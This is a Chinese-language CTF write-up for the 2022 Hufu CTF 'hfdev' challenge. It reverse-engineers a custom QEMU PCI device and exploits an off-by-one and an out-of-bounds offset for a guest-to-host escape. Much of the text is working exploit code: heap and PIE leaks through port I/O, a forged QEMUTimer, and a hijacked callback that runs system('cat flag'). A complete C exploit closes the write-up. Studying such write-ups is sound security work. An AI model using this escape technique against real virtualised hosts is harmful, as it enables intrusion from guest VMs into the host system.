2022-虎符CTF-hfdev
off-by-one 藏得挺深啊
漏洞分析
start_qemu.sh 文件如下
#!/bin/sh
#gdb -args \
./qemu-system-x86_64 \
-m 256M \
-kernel bzImage \
-hda rootfs.img \
-append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr" \
-monitor /dev/null \
-smp cores=1,threads=1 \
-cpu kvm64,+smep,+smap \
-L pc-bios \
-device hfdev \
-no-reboot \
-snapshot \
-nographic
可以看到添加了一个叫 hfdev
的设备,将 qemu-system-x86_64 拖入 IDA,函数窗口搜索字符串 hfdev
找到对应函数进行分析
HfdevState
通过逆向分析可以知道,State 大概是这样一个结构体
struct __attribute__((aligned(16))) HfdevState
{
char pub[2400];
struct MemoryRegion pmio; // size = 0x100
uint64_t phy_src;
uint64_t r_size;
uint64_t pos;
uint64_t cur_size;
int64_t time;
struct Req req; // size = 0x400
char write_buf[768];
uint64_t can_run_hfdev_func;
uint64_t req_addr;
struct QEMUTimer *timer;
struct QEMUBH *qemubh;
char padding[];
};
hfdev_class_init
可以看到 vendor_id 和 device_id
利用 lspci,找到对应的设备 resource 信息,可以找到 PMIO 的端口基址
pci_hfdev_realize
只提供 PMIO
同时还可以看到,创建了一个 timer 和 一个 QEMUBH
这两个东西了解不多,翻源码看了看,大致就是都可以用来做异步回调的事情
可以看到 timer 的回调函数是 hfdev_func,QEMUBH 的回调函数是 hfdev_process
hfdev_func
可以看到,timer 的操作是把 req_addr 指向的数据拷贝到 write_buf 中,同时这个偏移 pos 是可以无限增长的,如果可以多次触发 timer,就能让这个越界越到后面的数据,包括 timer 和 bh 的指针
hfdev_process
开头先从指定的物理地址读取一个结构体
大概长这样:
struct __attribute__((packed)) Req
{
uint8_t cmd;
union Body body;
};
union Body
{
struct Reader reader;
struct Encoder encoder;
struct Timer timer;
};
struct __attribute__((packed)) Reader
{
uint64_t phy_addr;
uint16_t size;
char data[1013];
};
struct __attribute__((packed)) Encoder
{
uint8_t addKey;
uint8_t xorKey;
uint16_t subcmd;
uint16_t enc_num;
char data[1017];
};
struct __attribute__((packed)) Timer
{
uint16_t size;
uint16_t off;
char data[1019];
};
大致对应三种操作
Reader
拷贝 write_buf 中的数据到指定的物理地址
Timer
可以看到这里使用了 timer_mod,翻看源码可以了解到这是设置定时器,触发即可回调 hfdev_func,同时这里有个变量决定了是否可以调用 timer_mod,而且 hfdev_func 里面也修改这个变量使其只能调用一次
Encoder
这里有两种操作,首先 0x2202 对应的是把 data 进行一定的编码后存进 write_buf 里
0x2022 则是对 write_buf 和 data 异或编码
同时可以看到这里比较用的是 >=
,存在off-by-one(可恶,比赛的时候就没看出来)
hfdev_port_write
写端口这里就是设置各种参数,还有就是触发 bh 的事件回调的操作
hfdev_port_read
读取各种参数,没啥好说的
利用分析
现有的信息:
- timer 的 pos 不断增长的过程中可以越界
- pos 越界后,利用 reader 可以读到 write_buf 后面的信息,比如 timer 对象指针和 bh 对象指针
- pos 的越界,也让 encoder 可以修改 timer 指针和 bh 指针,可以伪造这两个对象劫持程序执行流
- encoder 的 0x2022 功能存在 off-by-one
off-by-one 修改 checker
首先得控制 checker (即 can_run_hfdev_func)变量,以进行多次触发 timer,具体步骤如下:
- 使用 encoder 0x2202 功能,让 pos = 0x200
- 触发 timer,pos += 0x100
- encoder 0x2022 功能,off-by-one,修改
write_buf[0x300]
,这刚好是 checker 变量的位置
代码如下:
set_phy_addr(&req);
set_request_size(0x400);
// leak heap
puts("1. leaking heap");
// getchar();
puts("[*] pos = 0x200");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC1;
req.encoder.size = 0x200;
trigger_process();
sleep(1);
puts("[*] pos += 0x100");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0x100;
req.timer.offset = 0;
trigger_process();
sleep(1);
puts("[*] off-by-one");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x300;
req.encoder.data[0x300] = 1;
trigger_process();
sleep(1);
printf("checker = %#lx\n", get_checker());
Leak Heap Address
可以控制 checker 后,就可以随意多次触发 timer 了,接着下面的步 leak heap
- 触发 timer,pos+=0x10,使其越界到 req_addr 指针的位置
- reader,读出 req_addr 指针
puts("[*] pos += 0x10");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0x10;
req.timer.offset = 0;
trigger_process();
sleep(1);
printf("pos = %#lx\n", get_pos());
puts("[*] reset cache_addr"); // cache_addr/req_addr
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0;
req.timer.offset = 0;
trigger_process();
sleep(1);
printf("pos = %#lx\n", get_pos()); // 0x310
puts("[*] reading data ..."); // leak &request
memset(&req, 0, sizeof(req));
req.reader.cmd = READ;
req.reader.size = 0x310;
req.reader.ptr = gva_to_gpa(buf);
trigger_process();
sleep(1);
heap = *(uint64_t *)&buf[0x308];
timer_ptr = heap + 0x12b8;
timer_list_ptr = heap - 0x110e8c8;
printf("heap address: %#lx\n", heap);
printf("timer_ptr: %#lx\n", timer_ptr);
printf("timer_list_ptr: %#lx\n", timer_list_ptr);
Leak Code Base
接下来要 bypass PIE,泄露程序基址
- 此时 pos=0x310,给 timer 设置的触发延时长一点
- 利用 encoder 0x2022 功能,再 timer 触发前,修改 req_addr
- timer 触发后,req_addr 已经被修改,再结合 reader 即可任意地址读
修改 req_addr 为 timer 对象 +0x10 偏移处,这里就是回调函数指针 hfdev_func 的地方了,计算偏移可以找到 system plt 的位置:
puts("[*] set time delay");
set_time(5);
puts("[*] trigger timer, pos+=8");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 8;
trigger_process();
puts("[*] modify cache_addr before timer runing");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x310 - 1;
*(uint64_t *)&req.encoder.data[0x308] = heap ^ (timer_ptr + 0x10);
trigger_process();
puts("waiting for timer");
sleep(5);
// getchar();
puts("[*] reading data ..."); // leak &request
memset(&req, 0, sizeof(req));
req.reader.cmd = READ;
req.reader.size = 0x318;
req.reader.ptr = gva_to_gpa(buf);
trigger_process();
sleep(1);
hfdev_func = *(uint64_t *)&buf[0x310];
cbase = hfdev_func - 0x381190;
system = cbase + 0x2d6614;
binsh = cbase + 0x869b82;
printf("hfdev_func = %#lx\n", hfdev_func);
printf("cbase = %#lx\n", cbase);
printf("system = %#lx\n", system);
printf("binsh = %#lx\n", binsh);
Hijack Timer
- Req 结构体上,构造 fake timer
- 此时 pos=0x318,使用 0x2022 功能修改 timer 指针指向 fake timer
- 触发 timer 执行
system("cat flag")
Exp
完整 exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <stddef.h>
#include <assert.h>
#include <stddef.h>
uint16_t pmio_base = 0xc040;
int pagemap_fd;
struct __attribute__((packed)) RequestRead {
uint8_t cmd;
uint64_t ptr;
uint16_t size;
};
struct __attribute__((packed)) RequestTimer {
uint8_t cmd;
uint16_t size;
uint16_t offset;
};
struct __attribute__((packed)) RequestEnc {
uint8_t cmd;
uint8_t add_key;
uint8_t xor_key;
uint16_t sub_cmd;
uint16_t size;
uint8_t data[0x400-1-6];
};
void pmio_write(uint16_t addr,uint32_t val){
outw(val, addr+pmio_base);
}
uint64_t pmio_read(uint16_t addr){
return (uint32_t)inw(addr+pmio_base);
}
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)
uint32_t page_offset(uint32_t addr)
{
return addr & ((1 << PAGE_SHIFT) - 1);
}
uint64_t gva_to_gfn(void *addr)
{
uint64_t pme, gfn;
size_t offset;
offset = ((uintptr_t)addr >> 9) & ~7;
lseek(pagemap_fd, offset, SEEK_SET);
read(pagemap_fd, &pme, 8);
if (!(pme & PFN_PRESENT))
return -1;
gfn = pme & PFN_PFN;
return gfn;
}
uint64_t gva_to_gpa(void *addr)
{
uint64_t gfn = gva_to_gfn(addr);
assert(gfn != -1);
return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
void set_phy_addr(void* vaddr)
{
uint64_t paddr = gva_to_gpa(vaddr);
pmio_write(2, paddr & 0xffff);
pmio_write(4, paddr >> 16);
}
void set_request_size(uint32_t size)
{
pmio_write(6, size);
}
void clear()
{
pmio_write(8, 0);
}
void set_time(uint32_t time)
{
pmio_write(10, time);
}
uint64_t get_pos()
{
return pmio_read(8);
}
uint64_t get_checker()
{
return pmio_read(6);
}
void trigger_process()
{
pmio_write(12, 0);
}
#define ENC 0x10
#define READ 0x20
#define TIMER 0x30
#define ENC1 0x2202
#define ENC2 0x2022
int main()
{
char buf[0x400];
union {
struct RequestEnc encoder;
struct RequestRead reader;
struct RequestTimer timer;
} req;
uint64_t heap;
uint64_t timer_ptr;
uint64_t timer_list_ptr;
uint64_t hfdev_func;
uint64_t cbase;
uint64_t system;
uint64_t binsh;
uint64_t *fake_timer_ptr;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
setbuf(stdin, NULL);
pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
if (pagemap_fd < 0) {
perror("open pagemap");
exit(-1);
}
if (iopl(3) !=0 ) {
perror("iopl");
exit(-1);
}
set_phy_addr(&req);
set_request_size(0x400);
// leak heap
puts("1. leaking heap");
// getchar();
puts("[*] pos = 0x200");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC1;
req.encoder.size = 0x200;
trigger_process();
sleep(1);
puts("[*] pos += 0x100");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0x100;
req.timer.offset = 0;
trigger_process();
sleep(1);
puts("[*] off-by-one");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x300;
req.encoder.data[0x300] = 1;
trigger_process();
sleep(1);
printf("checker = %#lx\n", get_checker());
puts("[*] pos += 0x10");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0x10;
req.timer.offset = 0;
trigger_process();
sleep(1);
printf("pos = %#lx\n", get_pos());
puts("[*] reset cache_addr"); // cache_addr/req_addr
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 0;
req.timer.offset = 0;
trigger_process();
sleep(1);
printf("pos = %#lx\n", get_pos()); // 0x310
puts("[*] reading data ..."); // leak &request
memset(&req, 0, sizeof(req));
req.reader.cmd = READ;
req.reader.size = 0x310;
req.reader.ptr = gva_to_gpa(buf);
trigger_process();
sleep(1);
heap = *(uint64_t *)&buf[0x308];
timer_ptr = heap + 0x12b8;
timer_list_ptr = heap - 0x110e8c8;
printf("heap address: %#lx\n", heap);
printf("timer_ptr: %#lx\n", timer_ptr);
printf("timer_list_ptr: %#lx\n", timer_list_ptr);
// leak pie
puts("2. leaking pie");
// getchar();
puts("[*] off-by-one");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x300;
req.encoder.data[0x300] = 1;
trigger_process();
sleep(1);
printf("checker = %#lx\n", get_checker());
printf("pos = %#lx\n", get_pos()); // 0x310
// getchar();
puts("[*] set time delay");
set_time(5);
puts("[*] trigger timer, pos+=8");
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
req.timer.size = 8;
trigger_process();
puts("[*] modify cache_addr before timer runing");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x310 - 1;
*(uint64_t *)&req.encoder.data[0x308] = heap ^ (timer_ptr + 0x10);
trigger_process();
puts("waiting for timer");
sleep(5);
// getchar();
puts("[*] reading data ..."); // leak &request
memset(&req, 0, sizeof(req));
req.reader.cmd = READ;
req.reader.size = 0x318;
req.reader.ptr = gva_to_gpa(buf);
trigger_process();
sleep(1);
hfdev_func = *(uint64_t *)&buf[0x310];
cbase = hfdev_func - 0x381190;
system = cbase + 0x2d6614;
binsh = cbase + 0x869b82;
printf("hfdev_func = %#lx\n", hfdev_func);
printf("cbase = %#lx\n", cbase);
printf("system = %#lx\n", system);
printf("binsh = %#lx\n", binsh);
puts("3. fake timer");
// getchar();
puts("[*] modify timer ptr");
memset(&req, 0, sizeof(req));
req.encoder.cmd = ENC;
req.encoder.sub_cmd = ENC2;
req.encoder.size = 0x318 - 1;
req.encoder.data[0x300] = 1; // checker
*(uint64_t *)&req.encoder.data[0x310] = hfdev_func ^ (heap + 0x100);
trigger_process();
sleep(1);
puts("[*] trigger fake timer");
set_time(1);
memset(&req, 0, sizeof(req));
req.timer.cmd = TIMER;
fake_timer_ptr = (uint64_t *)((uint64_t)&req + 0x100);
fake_timer_ptr[0] = 0xffffffffffffffff; // expire_time
fake_timer_ptr[1] = timer_list_ptr; // timer_list
fake_timer_ptr[2] = system; // cb
fake_timer_ptr[3] = heap + 8; // opaque
strcpy((char *)&req + 8, "echo getflag! && cat flag");
trigger_process();
sleep(1);
getchar();
return 0;
}
写在最后
跟踪 timer_mod 源码,发现会调用 timer_list 对象里的某个函数指针,伪造 timer_list 就可以不用等回调直接劫持程序控制流了
调试是真的麻烦,可以多借助条件断点来调试